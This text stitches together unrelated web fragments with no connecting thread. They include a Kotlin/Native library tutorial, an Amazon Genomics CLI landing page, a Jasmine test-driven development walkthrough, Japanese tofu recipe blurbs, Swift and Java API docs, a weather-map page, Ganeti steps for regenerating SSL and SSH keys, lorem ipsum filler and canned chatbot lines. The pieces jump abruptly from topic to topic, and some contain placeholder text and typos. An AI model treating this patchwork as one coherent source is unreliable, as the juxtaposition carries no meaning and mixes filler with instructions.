. Kotlin/Native libraries are artifacts that are only available at compile time, i.e. we do not ship these as dependencies to our application
(as we would for instance with DLL files on the Windows platform).
A klib
file is a compressed archive in zip format with the following directory structure:
File utils.klib
targets/ /* One or more target platforms */
macbook/ /* When targeting macbook, this entry would appear */
kotlin/ /* Kotlin code compiled to LLVM bitcode */
native/ /* Bitcode for additonal native objects */
linux/ /* When targeting Linux, this entry would appear */
kotlin/
native/
linkdata/ /* A set of [ProtoBuf](https://github.com/google/protobuf) files with serialised linkage metadata */
resources/ /* Resource files such as images, etc. */
manifest /* A file in Java Property Format describing the library */
Creating a Kotlin/Native Libraries
There are two ways we can create a Kotlin/Native library. The first and most common way is to use the Kotlin compiler. Let's assume
we create a small library called utils.kt
which contains the following two functions
package utils
fun printMessage(message: String) {
println("Message: $message")
}
fun printWarning(warning: String) {
println("Warning: $warning")
}
To create a library from this file, we can use the compiler with the parameter -produce library
or -p library
for short:
konanc utils.kt -p library
By default, the output of the filename is library.klib
. We can override it using the -output
or -o
parameter:
konanc utils.kt -p library -o utils
The second way to create a library is using the cinterop
tool which allows us to create a Kotlin/Native library from an existing
C library. See the Interop with C tutorial on how to accomplish this.
Consuming a Kotlin/Native Library
Now that we have our library, we can use it in our application. In our case this is a simple file named sample.kt
with the following contents:
import utils.*
fun main(args: Array<String>) {
printWarning("App is about to shut down!")
}
Notice how we need to import the necessary package from the library on the first line using the import
statement.
In order for the compiler to correctly link in the library, we need to pass the library name using the -library
or -l
parameter
konanc sample.kt -l utils
This would then produce a single executable file with no runtime dependencies.
Using and creating library repositories
Often it is useful to use the same library across multiple applications. To avoid having various copies of the same library, the Kotlin
compiler can search for libraries in what's called a library repository. The default repository is usually installed under the folder ~/konanc/klib
and we can
add and remove our own libraries with a utility named klib
that ships as part of the compiler tools.
Installing libraries to the default repository
The easiest way to install a library so that it can be later referenced by any application is to use klib
with the following command:
klib install utils
This will copy and extract the necessary files to the proper locations in the default library folder, allowing us to then compile our application and link
a specific library without needing to have the klib
file in the project folder:
konanc sample.kt -l utils
We can of course also uninstall libraries at any point by issuing the command:
klib remove utils
Installing libraries to custom repositories
In addition to using the default repository, we can also have libraries stored in custom repositories, which can be useful for instance if we want to share libraries amongst a group of projects.
In order to do this, we can once again use the command klib
:
klib install utils -repository jetbrains
but this time adding the parameter -repository
with the value jetbrains
. This installs the utils
library into a custom repository located in a subdirecty named jetbrains
relative to where we execute the command. For instance if our project is located under the directory /home/kotlin/projects/
, the above command would install the library to the directory /home/kotlin/projects/jetbrains/utils
.
For more information about the commands available for klib
as well as the sequence when searching for libraries, please see the README


---
title: "Amazon Genomics CLI"
linkTitle: "agc"
---
{{< blocks/cover title="Welcome to the Amazon Genomics CLI" image_anchor="top" height="full" color="orange" >}}
{{< /blocks/cover >}}
{{% blocks/lead color="primary" %}}
Amazon Genomics CLI is an **open source CLI** that helps customers run genomics workflows in the cloud by **automating deployment of best practices infrastructure** for workflow engines. Amazon Genomics CLI reduces the time for scientists and developers to start running existing genomics workflows at scale and speed up iteration cycles as they develop new ones.
{{% /blocks/lead %}}
{{< blocks/section >}}
{{% blocks/feature icon="fa fa-download" title="Download Binaries" url="https://github.com/aws/amazon-genomics-cli/releases"%}}
Get compiled [releases](https://github.com/aws/amazon-genomics-cli/releases) of Amazon Genomics CLI
{{% /blocks/feature %}}
{{% blocks/feature icon="fab fa-github" title="Contributions welcome!" url="https://github.com/aws/amazon-genomics-cli" %}}
Submit a [Pull Request](https://github.com/aws/amazon-genomics-cli/pulls) on **GitHub**. New users are always welcome!
{{% /blocks/feature %}}
{{% blocks/feature icon="fab fa-aws" title="AWS Healthcare & Life Sciences" url="https://amazon.amazon.com/health/" %}}
AWS is the trusted technology and innovation partner to the global healthcare and life sciences industry, providing unmatched reliability, security, and data privacy.
{{% /blocks/feature %}}
{{< /blocks/section >}}


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Brew.js - C++ high-level JavaScript API for Nintendo 3DS/SwitchI
GitHub repository
Documentation: Nintendo Switch
Documentation: Nintendo 3DS


We're a group of teenage girls who created this website in order to motivate teens like us to go out into the world and try new foods. Not to mention, in this age where we are always following the latest trends, this webiste allows our fellow peers to find trendy and popular places to eat in the city.
We hope this website motivates other girls like us to go out and code and build what they wish, whether it be the newest apple phone, or a wesbite about the top trendy instagram eats.
Our emails<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>and jadaw1210@gmail.com


Activities outside of work
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum is simply dummy text of the printing and typesetting industry.
By User name on Aug 17, 2015Activities outside of work
Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum is simply dummy text of the printing and typesetting industry.
By User name on Aug 17, 2015


Created by Holden Profit
( https://github.com/Acrylico )
Completely independent, doesn't require a DOM, and has clean & clear syntax for testing all that JS code you've written.
Documentation on Jasmine can be found at http://jasmine.github.io !
Everything in Jasmine starts with the SpecRunner.html file.
It's within this file that you:
An example Angular controller, yet to be implemented:
myApp.controller('myController', function ($scope, $http) {
$scope.person = null;
$scope.initPerson = function (name, age, gender) { };
});
And here is our controller Spec file:
// Describe what this spec file is testing
describe("myController Tests", function () {
var scope, controller;
beforeEach(module("myApp")); // Creates the module "myApp"
beforeEach(inject(function ($rootScope, $controller) {
scope = $rootScope.$new(); // Creating a new scope for our controller
controller = $controller; // The service that instantiates controllers
controller("myController", {$scope: scope}); // Creates our ctrl object
}));
});
With TDD, you write your test FIRST then write your code to pass the test with minimal code and effort put forth to do so.
Given our controller's initPerson() function, lets write our test first, then complete the function to pass!
myApp.controller('myController', function ($scope) {
$scope.person = null;
$scope.initPerson = function (name, age, gender) { };
});
What should this function actually do?
describe("myController Tests", function () {
. . .
it("should fill the person field when initPerson() is called", function () {
// arrange
var name = "Guy Gardener", age = 30, gender = "male";
// act
scope.initPerson(name, age, gender);
// assert
expect(scope.person).toEqual({
name: name,
age: age,
gender: gender
});
});
});
Now that we know what the function needs to do, let's implement it!
myApp.controller('myController', function ($scope) {
$scope.person = null;
$scope.initPerson = function (name, age, gender) {
$scope.person = {
name: name,
age: age,
gender: gender
};
};
});
Feel free to contact me at<EMAIL_ADDRESS>Also look me up on github at https://github.com/Acrylico!


Tofu & Egg RecipesMaking Fresh Tofu,Tonyu (soymilk) & YubaIf you live in an area where it is hard to find tofu, or if you eat tofu often and love it, I recommend that you purchase a soymilk maker in order to make your own tofu, tonyu (soymilk) and even yuba (soymilk skin). The process for making tofu is similar to making cheese, and if you have the right equipment, is very easy to do. You can also make your own soymilk and tofu without a dedicated machine, but the process is more laborious, as well as messy, so I won’t go into it here. RECIPE YubaI wasn’t even aware that yuba, the dried kind that is added to soups, is even more delicious when fresh. After sampling fresh yuba sashimi in Kyoto, I knew I would crave this delicate and expensive delicacy, since it is impossible to buy fresh yuba outside of Japan. The only alternative is to make it yourself after making your own fresh soymilk. However, it's a bit of a challenge, and requires patience. Goma Dofu (sesame ‘tofu’)This rich, savory pudding is called tofu, but is not made of soybeans, but ground sesame. It appears on many shojin ryori (vegetarian temple cooking) menus and is a personal favorite of mine. Although it's surprisingly easy to make, it's considered a delicacy for special occasions. It is best enjoyed with a bit of soy sauce and wasabi.RECIPE Tamagoyaki (rolled omelet)Fresh bamboo shoots are available in April and May, so this is considered a spring dish. In the west, look for shoots packages in water, not the type in a can. One shoot should be enough for rice and another bamboo dish. Takenoko Gohan is particularly fragrant. If you have a donabe, use it rather than a rice cooker, as the flavor will be better, and you can bring the donabe to the table.RECIPE ChawanmushiMy mother is a master at making chawan mushi, a type of creamy, hugely satisfying savory custard that many people find quite tricky to make. She shared this recipe with me only after much badgering and many questions. It’s rare to find this at Western restaurants, and everyone I’ve taken to Japan immediately falls in love with this heartwarming dish. It can either be served hot or cold.RECIPE |
|
|


Structures
The following structures are available globally.
-
Unbounded and straight. Contrast with LineSeg.
See moreDeclaration
Swift
public struct Line : Equatable
-
A triangle with additional functions
See moreDeclaration
Swift
public struct Facet
-
Document the topology across a triangle edge. Default initializer suffices
See moreDeclaration
Swift
public struct CommonEdge : Hashable
-
A ‘brick’ aligned with the coordinate axes to envelop some geometry. Useful for scaling and intersections. Does not allow 0.0 thicknesses
See moreDeclaration
Swift
public struct OrthoVol
-
Unbounded flat surface.
See moreDeclaration
Swift
public struct Plane
-
Simple representation of a position in space by the use of three orthogonal coordinates.
See moreDeclaration
Swift
public struct Point3D : Hashable
-
A direction built from three orthogonal components Default constructor suffices
See moreDeclaration
Swift
public struct Vector3D : Equatable


Not isotropic.
i.e. if something is anisotropic at a particular point, it looks different in different directions when you stand at that point.


a visualization of global weather conditions
forecast by supercomputers
updated every three hours
ocean surface current estimates
hurricane sandy | the case for Quotaero
Hurricane Sandy was predicted to touch down over 50 miles from where it actually did.
Now, to weather specialists. this number sounds great compared to what it would have
been 5 or 10 years ago, but to you and me it doesn’t sound as nice. Shouldn’t we be
able to provide weather predictions that can target zip codes, not land a hurricane
half a state away?
The problem lies in the fact that models are often wrong. But how do we fix a problem
that’s persisted for so long? We have to look at where mistakes have been made in the
past to see how this influences our present and can change our future.
As a solution, this tool aims to lay the groundwork for building a decision support system
for weather specialists that will compare predicted and actual weather of the recent
past in an effort to bringlight to the patterns of error currently residing in weather
forecasting systems.
Authors and Modication Team |
Team Quotaero Quotaero Github
Source |
Modules |
Weather Data |
Global Forecast System
NCEP / National Weather Service / NOAA
Ocean Currents Data |
OSCAR
Earth & Space Research
GRIB/NetCDF Decoder |
Geographic Data |
Font |
Waterman Butterfly |
Inspiration |
the "Surface" layer represents conditions at ground or water level
this layer follows the contours of mountains, valleys, etc.
overlays show another dimension of data using color
some overlays are valid at a specific height
while others are valid for the entire thickness of the atmosphere
Wind | wind speed at specified height
weather and ocean data are generated from numerical models
earth.nullschool.net implies no guarantee of accuracy


Ganeti uses both SSL and SSH keys, and actively modifies the SSH keys on the nodes. As result, in order to replace these keys, a few extra steps need to be followed.
For an example when this could be needed, see the thread at Regenerating SSL and SSH keys after the security bug in Debian’s OpenSSL.
Ganeti uses OpenSSL for encryption on the RPC layer and SSH for executing commands. The SSL certificate is automatically generated when the cluster is initialized and it’s copied to added nodes automatically together with the master’s SSH host key.
Note that paths below may vary depending on your distribution. In general, modifications should be done on the master node and then distributed to all nodes of a cluster (possibly using a pendrive - but don’t forget to use “shred” to remove files securely afterwards).
The cluster SSL key is stored in /var/lib/ganeti/server.pem.
Run the following command to generate a new key:
gnt-cluster renew-crypto --new-cluster-certificate
# Older version, which don't have this command, can instead use:
chmod 0600 /var/lib/ganeti/server.pem &&
openssl req -new -newkey rsa:1024 -days 1825 -nodes \
-x509 -keyout /var/lib/ganeti/server.pem \
-out /var/lib/ganeti/server.pem -batch &&
chmod 0400 /var/lib/ganeti/server.pem &&
/etc/init.d/ganeti restart
gnt-cluster copyfile /var/lib/ganeti/server.pem
gnt-cluster command /etc/init.d/ganeti restart
There are two sets of SSH keys in the cluster: the host keys (both DSA and RSA, though Ganeti only uses the RSA one) and the root’s DSA key (Ganeti uses DSA for historically reasons, in the future RSA will be used).
These are the files named /etc/ssh/ssh_host_*. You need to manually recreate them; it’s possibly that the startup script of OpenSSH will generate them if they don’t exist, or that the package system regenerates them.
Also make sure to copy the master’s SSH host keys to all other nodes.
The new public rsa host key created in the previous step must be added in two places:
Edit these two files and update them with newly generated SSH host key (in the previous step, take it from the /etc/ssh/ssh_host_rsa_key.pub).
For the config.data file, please look for an entry named rsahostkeypub and replace the value for it with the contents of the .pub file. For the known_hosts file, you need to replace the old key with the new one on each line (for each host).
These are the files named ~root/.ssh/id_dsa*.
Run this command to rebuild them:
ssh-keygen -t dsa -f ~root/.ssh/id_dsa -q -N ""
This is the file named ~root/.ssh/authorized_keys.
Edit file and update it with the newly generated root key, from the id_dsa.pub file generated in the previous step.
In the end, the files mentioned above should be identical for all nodes in a cluster. Also do not forget to run gnt-cluster verify.


I can see that you're sad...
How sad are you?
I'm sorry to hear that!
Maybe will make you feel better...
That sounds serious! Please go
I can see that you're angry...
How angry are you?

Maybe will be able to help you calm down...
I'm sorry to see that you're really angry!
Please try to try and calm down.


Public Member Functions | |
| long | getFlowId () |
| long | getSizeBit () |
| long | getDepartureTime () |
| void | setFlowletId (int flowletId) |
| int | getFlowletId () |
| long ch.ethz.systems.netbench.core.network.PacketHeader.getDepartureTime | ( | ) |
Retrieve the departure time (equal to the construction time) of the packet.
Implemented in ch.ethz.systems.netbench.core.network.Packet.
| long ch.ethz.systems.netbench.core.network.PacketHeader.getFlowId | ( | ) |
Retrieve immutable flow identifier.
Implemented in ch.ethz.systems.netbench.core.network.Packet.
| int ch.ethz.systems.netbench.core.network.PacketHeader.getFlowletId | ( | ) |
Retrieve the flowlet identifier of this packet.
Implemented in ch.ethz.systems.netbench.core.network.Packet.
| long ch.ethz.systems.netbench.core.network.PacketHeader.getSizeBit | ( | ) |
Retrieve the size of the packet in bits.
Implemented in ch.ethz.systems.netbench.core.network.Packet.
| void ch.ethz.systems.netbench.core.network.PacketHeader.setFlowletId | ( | int | flowletId | ) |
Set the flowlet identifier of this packet.
| flowletId | Flowlet identifier to be set |
Implemented in ch.ethz.systems.netbench.core.network.Packet.